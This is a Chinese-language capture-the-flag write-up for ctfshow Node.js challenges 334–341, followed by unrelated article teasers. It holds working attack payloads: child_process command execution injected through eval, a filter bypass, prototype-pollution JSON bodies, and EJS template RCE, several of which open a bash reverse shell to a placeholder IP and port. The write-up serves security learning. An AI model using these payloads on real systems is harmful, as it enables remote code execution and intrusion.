ctfshow web入门 nodejs 334-341(更新中)

news2025/1/19 7:59:32

前言

说实在也没啥好说的,希望大家要有勇气,向难题挑战,别像我一样自始至终都是一个菜狗,哎。

        这里在刚开始的,我就有一个问题就是我发现刚开始使用的是require来导入模块,但是到了后面发现大部分使用的都是global.process.mainModule.constructor._load,这两个的意思都是一样,既然require能使用的话,为什么还要搞这个这么长?

        后面我有进行尝试,但是发现好像有的并没有执行,难道require不是全局的吗,就慢慢有了深深的疑惑但是后面看p神的文章,在评论中看到了答案

        感觉都有一些帮助,就都截下来了

web334

这里给了,我们两个文件,一个user.js,一个login.js

//user.js
var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;
 
var findUser = function(name, password){
  return users.find(function(item){
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
};

/* GET home page. */
router.post('/', function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var sess = req.session;
  var user = findUser(req.body.username, req.body.password);
 
  if(user){
    req.session.regenerate(function(err) {
      if(err){
        return res.json({ret_code: 2, ret_msg: '登录失败'});        
      }
       
      req.session.loginUser = user.username;
      res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});              
    });
  }else{
    res.json({ret_code: 1, ret_msg: '账号或密码错误'});
  }  
  
});

module.exports = router;
//user.js

module.exports = {
  items: [
    {username: 'CTFSHOW', password: '123456'}
  ]
};

这里分析一下,这里获取user.js的数组

var users = require('../modules/user').items;

这里分析一下,他这里name不能等于CTFSHOW,但是获得flag的条件是user等于CTFSHOW,password等于123456,但是toUpperCase可以将小写转换成大写

return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
var a = "adaAa";
a = a.toUpperCase();
console.log(a);

//回显
ADAAA

然后y佬这里还有一些小tips

在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。
在Character.toLowerCase()函数中,字符İ会转变为i,字符K会转变为k。

payload:
    get:/login
    post传:username=ctfshow&password=123456
 或者
    网页直接登录ctfhsow:123456

 web335

 这里打开源代码提示我们

 在js文件中查找没有找到相关的什么东西,这里怀疑是js的eval。

通过查找主要有这三种,但是发现好像只有child_process是自带,这里我们在本地尝试一下。

 这里我们使用require()函数来加载child_process模块,他下面有这些方法。

通过学习,我们可以知道,下面这三个我们可以直接利用的

payload:
    require('child_process').execSync('cat f*').toString()
    require('child_process').spawnSync('cat', ['f*']).stdout.toString()

额外的发现
    execFileSync只能执行ls之类,他cat不了文件
    require('child_process').execSync('cat f*') 这里突然发现不用toString也行

web336

方法一:

发现这里exec好像被禁了,而且统配符不知道为什么突然用不了

payload:
    require('child_process').spawnSync('cat',['fl001g.txt']).stdout.toString()

方法二:

 这里是参考y4师傅 的方法

__filename :返回当前模块文件的绝对路径

#这个可以读取文件
require('fs').readFileSync('/app/routes/index.js','utf-8')

这里知道过滤exec,我们可以像ssti一样绕过他

payload:
    require('child_process')['e'%2b'xecSync']('cat f*').toString()

方法三:

还是经过学习,发现fs模块,还有列出目录中的文件的方法。

//列出当前目录下的文件
require('fs').readdirSync('./')
payload:
    require('fs').readFileSync('fl001g.txt','utf-8')

web337

var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;
  var b = req.query.b;
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
  	res.end(flag);
  }else{
  	res.render('index',{ msg: 'tql'});
  }
  
});

module.exports = router;

这种相对在php,我们见到的很多,就是利用数组绕过md5,但是这里尝试的时候好像不行,呃呃呃,我们到本地看一手。

方法一:

这里看似a和b是相等的,但是其实就是c和d这样,他是不一样的,但是如果就是1和1呢,不是1和2

a={'':'1'}
b={'':'2'}
const c = [1];
const d = [2];

console.log(a+"flag")
console.log(b+"flag")
console.log(c+"flag")
console.log(d+"flag")

//回显
[object Object]flag
[object Object]flag
1flag
2flag
payload:
    ?a[]=1&b[]=1

 方法二:

我们要知道js,我们是可以使用字符索引的

a={'a':'1'}
b={'a':'2'}

console.log(a+"flag")
console.log(b+"flag")
//回显
[object Object]flag
[object Object]flag
payload:
    ?a[a]=1&b[a]=2

方法三:

这个是看到​bfengj师傅,才知道的,我知道js是弱类型,但是说这样用就有点过分了吧

console.log(5+[6,6]); //56,6
console.log("5"+6); //56
console.log("5"+[6,6]); //56,6
console.log("5"+["6","6"]); //56,6
payload:
    ?a[1]=1&b=1

web338

这里可以先看p神的文章,真的很有帮助

这里简单理解一下什么原型链污染,我本地实例一下

首先我们要知道

1、prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法
2、一个对象的__proto__属性,指向这个对象所在的类的prototype属性

 

b的值为什么还是100?
首先我们要明白他获取值的顺序

1.先在b对象中先找number的值

2.再去b.__proto__中找值

3.再去b.__proto__.__proto__直到找到了值或者找到了null

c为什么是1000?

这里我们每个对象的__proto__都是指向Object.prototype的

b.__proto__污染了Object.prototype,那么c.__proto__也是指向Object.prototype,所以c对象中肯定是没有值,所以就会在c.__proto__中找值,这里有值就是被b污染的值。

然后开始分析题目,这个他给了源码,分析一下

#login.js
//flag
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow==='36dboy'){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }  
});
#utils/common.js
//利用点
module.exports = {
  copy:copy
};

function copy(object1, object2){
    for (let key in object2) {
        if (key in object2 && key in object1) {
            copy(object1[key], object2[key])
        } else {
            object1[key] = object2[key]
        }
    }
  }

这里先看到利用点,这里copy的意思就是将

object1和object2对比,如果存在没有的属性,就会将属性和值给object1

这里他user和secert对象都是指向Object.prototype,所以只要user.__proto__.ctfshow等于36dboy就可以了

所以ctfshow,user肯定是没有的,所以就会添加进去

这里举个例子,下面经过调用就会变成

​var object1 = {a: 1,b: {c: 2,d: 3}};
var object2 = {a: 1,"__proto__":{"ctfshow1":"36dboy"}}
//object1
{
    a: 1,
    b: {
        c: 2,
        d: 3
    },
    "__proto__": {
        ctfshow1: "36dboy"
    }
}

 所以按这种理解,我们用post传入{"__proto__":{"ctfshow":"36dboy"}} 就可以了

payload:
    post传:{"__proto__":{"ctfshow":"36dboy"}}

web339

这里和上面的文件挺像的,这里根据app.js这里,查看相关的东西

api.js   login.js  utils/common.js

这里拿出来里面比较重要的东西。

//api.js
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  res.render('api', { query: Function(query)(query)});
   
});
//login.js
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow===flag){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }
});
//common.js
function copy(object1, object2){
    for (let key in object2) {
        if (key in object2 && key in object1) {
            copy(object1[key], object2[key])
        } else {
            object1[key] = object2[key]
        }
    }
  }

方法一:

这里common.js中的copy方法,我们知道的是可以进行原型链污染的

这里看到login.js中,他叫我们ctfshow的值要去等于flag的值,这是根本不可能的事情,要是我们知道flag,还要搞这个干嘛,但是峰回路转,这里我们看到api.js中

  if(secert.ctfshow===flag){
    res.end(flag);
  }

这里注意其中Function(query)(query)是可以执行任意js代码的,下面分析一下

//api.js
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  res.render('api', { query: Function(query)(query)});
});

Function(query)是一个函数构造器,它将一个字符串参数(query)作为函数体,然后返回一个新的函数。这个新的函数可以接受任意数量的参数并执行query字符串中的JavaScript代码。


而后面的(query)则是将这个新生成的函数再次调用,并将参数query传递给它。由于这里的参数名和函数体的字符串内容是一致的,因此实际上相当于是将query字符串解析成了一个函数并立即执行这个函数,返回值作为整个语句的结果。

而且res.render在渲染视图模板的时候,会生成一个响应里面有参数传给客户端,然后我们这里第二参数是query,那么他就会自动去Object寻找值并返回。

所以我们只要让Object.prototype下面的query的值为我们想要执行命令就可以了,这里我们可以通过login.js中的copy方法来执行。

//这个尝试很多次,总结最好用vps或者用花生壳反弹shell,flag在/app/routes/login.js中

payload:
    post传:{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/端口 0>&1\"')"}}

 方法二:

通过在y佬那边的学习,我学习到还有一种ejs rce

payload:
    {"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/端口 0>&1\"');var __tmp2"}}
或者
    {"constructor/prototype/outputFunctionName": "a; return global.process.mainModule.constructor._load(\"child_process\").execSync(\"命令\"); //"}

web340

这里源码其中就是login.js和上面不一样,这里就直接来看看

router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var user = new function(){
    this.userinfo = new function(){
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;     
    };
  }
  utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
   res.end(flag);
  }else{
   return res.json({ret_code: 2, ret_msg: '登录失败'});  
  }
});

从上面我们就知道了,user不是直接对接Object

var user = new function(){
    this.userinfo = new function(){
        this.isVIP = false;
        this.isAdmin = false;
        this.isAuthor = false;
    };
}
console.log(user.__proto__===Object.prototype)
console.log(user.__proto__.__proto__ === Function.prototype)
console.log(user.__proto__.__proto__ === Object.prototype)
//回显
false
false
true

这里我们分析一下,user的实例对象是由一个匿名构造函数创建的,user.__proto__指向的是这个构造函数的原型对象,而这个构造函数的默认原型对象是一个空对象,但是空对象的原型对象的原型就是Object.prototype
所以简单点说user.__proto__.__proto__就是对应的Object.prototype

所以构造user.__proto__.__proto__.query的值为我们想要执行的命令就可以了,然后回去访问api就可以了

下面是验证

console.log(user.__proto__)
console.log(user.__proto__.__proto__)

//回显
{}
[Object: null prototype] {}
payload:
    {"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/自己ip/端口 0>&1\"')"}}}

 web341

这里给的源码和上面的一样,但是我们没有api.js,那就证明我们不能使用api来执行任意js代码,但是吧,我们在上面就知道了,这里还是有一个ejs rce的。

但是吧,我不太理解,这里我看了挺多人的,感觉讲的都挺凌磨两可的,哈哈哈,可能也有自己菜的原因。

这里总结一下存在原型链污染和require('ejs') ,就可以尝试尝试ejs rce。

//flag在根目录
payload:
    {"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/靶机ip/端口 0>&1\"');var __tmp2"}}}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/427953.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

5G网络优化工程师入职企业,都有什么不同呢?

通信行业内的网络优化工程师后期入职主要是在设备商、运营商,运营商的合作单位。 熟悉通信行业的同学肯定了解这个行业最基本的可以分为运营商和设备商,运营商在国内就是移动、联通、电信,广电四家,这四家目前不管是薪资、职业发展…

自动语音识别模型whisper安装和初探

whisper介绍 whisper是OpenAI 最近发布的语音识别模型。OpenAI 通过从网络上收集了 68 万小时的多语言(98 种语言)和多任务(multitask)监督数据对 Whisper 进行了训练,whisper可以执行多语言语音识别、语音翻译和语言…

swing-扩展徽章组件JEBadge

前言 因为工作原因,好久没有写swing组件了,最近准备优化一个功能,希望有类似徽章的功能。 徽章在平时的app和h5 页面上经常常见 ,那么在swing中如何实现一个徽章功能呢。 技术分析 为什么不选择绘制方式,却选择JLayeredPane &a…

《程序员面试金典(第6版)》面试题 08.14. 布尔运算(动态规划,分治,递归,难度hard++)

题目描述 给定一个布尔表达式和一个期望的布尔结果 result,布尔表达式由 0 (false)、1 (true)、& (AND)、 | (OR) 和 ^ (XOR) 符号组成。实现一个函数,算出有几种可使该表达式得出 result 值的括号方法。 示例 1: 输入: s “1^0|0|1”, result 0 …

STM32 LCD-ADC-DMA实验

目录 1.1 STM32 DMA简介 1.2 STM32 DMA的操作 1.DMA的初始化 2. 初始化代码 3. 主函数代码 本文将向大家介绍 STM32 的 DMA。(如有错误,欢迎批评指正) 在本章中,我们将利用 STM32 的 DMA 来实现ADC1通道1内数据传送,并在 TFTLCD 模块上显…

图像处理学习——基于霍夫变换(Matlab代码实现)

目录 💥1 概述 📚2 运行结果 🎉3 参考文献 👨‍💻4 Matlab代码 💥1 概述 霍夫变换是一种在图像中寻找直线、圆形以及其他简单形状的方法。 霍夫变换采用类似于投票的方式来获取当前图像内的形状集合&…

银河麒麟之语言设置和服务开机自启动设置

一、前言 银河麒麟操作系统作为国产操作系统,是目前国产化、信创等项目场景的主流操作系统之一,但它本质上还是基于现有的开源操作系统上的二次开发,银河麒麟服务器版是基于centos的,银河麒麟桌面版是基于debain的。既然是国产化系…

CAPL语言

1. CAPL简介 CAPL,Communication Access Programming Language,即通信访问编程语言类C语言2. CAPL主要用途 仿真节点或模块仿真时间报文、周期报文或者附加条件的重复报文使用PC键盘模拟操作按钮等人工操作事件仿真节点的定时或网络事件仿真多个时间事…

从编译器角度理解C++代码的编译和链接原理

在本文中,我们将探讨C代码的预处理、编译和链接过程。我们将详细介绍每个过程的作用和步骤,并通过代码演示来解释这个过程。 预处理 C代码预处理是将源代码转换为另一个源代码的过程,其中包括宏展开、条件编译、头文件包含等操作。预处理器…

Level3题目整理

文章目录L3-001 凑零钱L3-002 特殊堆栈L3-003 社交集群(并查集vector暴力⭐)L3-004 肿瘤诊断(三维bfs)L3-005 垃圾箱分布(多次dijkstra)L3-008 喊山(邻接表bfs🔺)L3-010 是否完全二叉搜索树&…

C++ STL学习之【list的模拟实现】

✨个人主页: 夜 默 🎉所属专栏: C修行之路 🎊每篇一句: 图片来源 A year from now you may wish you had started today. 明年今日,你会希望此时此刻的自己已经开始行动了。 文章目录🌇前言&am…

零售数据分析之操作篇12:子查询的应用

各位数据的朋友,大家好,我是老周道数据,和你一起,用常人思维数据分析,通过数据讲故事。 上期内容与作业 上一讲讲了占比相关内存计算的应用场景,包括占比、TOP占比、累计占比等,不同的占比&am…

sinGAN论文笔记

Background Knowledge 基于推理的视觉理论: 只根据图像数据本省不能对相对应的物体空间结构提供充分的约束,也就是说这是一个约束不充分的问题,因此为了理解图像的内容必须要有附加的约束条件(例如知道图中是哪一类物体的知识&am…

帮助中心能帮助企业解决什么问题?

帮助中心是企业在网站、应用程序或其他数字渠道上提供的一种资源,旨在帮助客户解决问题、回答常见问题并提供支持。一个完善的帮助中心可以为企业带来很多好处,包括提高客户忠诚度、提高满意度、降低客户支持成本等。 帮助中心能帮助企业解决的问题 提…

为什么会有JMM?从0到1一次性说清楚

JMM(Java Memory Model)是一种规范,定义了在多线程环境下Java程序中的内存访问行为。JMM保证了在多线程环境下程序的正确性,同时也允许编译器和处理器对指令进行优化,以提高程序的性能。 Java线程之间的通信由Java内存…

网络编程套接字(一)

学习任务: 我们先来认识端口号,区分好主机IP和端口号的区别,以及涉及到进程PID和端口号的区别。 然后简单认识一下TCP协议和UDP协议,这两个协议都是传输层的。接着了解什么是网络字节序,它有什么作用。然后是网络编程的…

Windows搭建Typecho个人博客并发布公网访问【内网穿透】

文章目录前言1. 环境安装2. 安装Typecho3. 安装cpolar内网穿透4. 固定公网地址5. 配置Typecho前言 本文小新为大家带来windwos系统搭建typecho博客cpolar内网穿透工具将博客发布到公共网络环境教程。 Typecho是一款PHP语言编写的开源博客程序,它是一个轻量级的内容…

某某客户的一次勒索病毒应急响应

Lockbit勒索病毒应急响应背景1、应急处理排查2、勒索病毒来源分析3、勒索病毒分析4、勒索病毒解密5、主机分析分析6、后续安全加固和改进措施结论背景 美好的周六刚开始,眼睛一睁,领导就发消息,说某客户中了勒索病毒,特别着急&am…

测评了100款零售软件,选出5个最好用零售软件分享给你!

满大街的各种服装店、便利店、百货店、母婴店...... 每天都要处理大量的订单,使用传统的人工开单记账,效率低下、客户体验差、而且容易出现,需要耗费很多时间来回对账; 聪明的零售店老板都已经开始使用零售软件来管理门店&#xf…

[C++]list类的模拟实现和相关函数的详解(正反向迭代器)

文章目录架构代码实现listNode正向迭代器框架迭代器函数重载*(解引用)->(箭头指向) -- ! 反向迭代器框架*(解引用)->(箭头指向) -- ! list默认成员函数构造函数拷贝构造赋值重…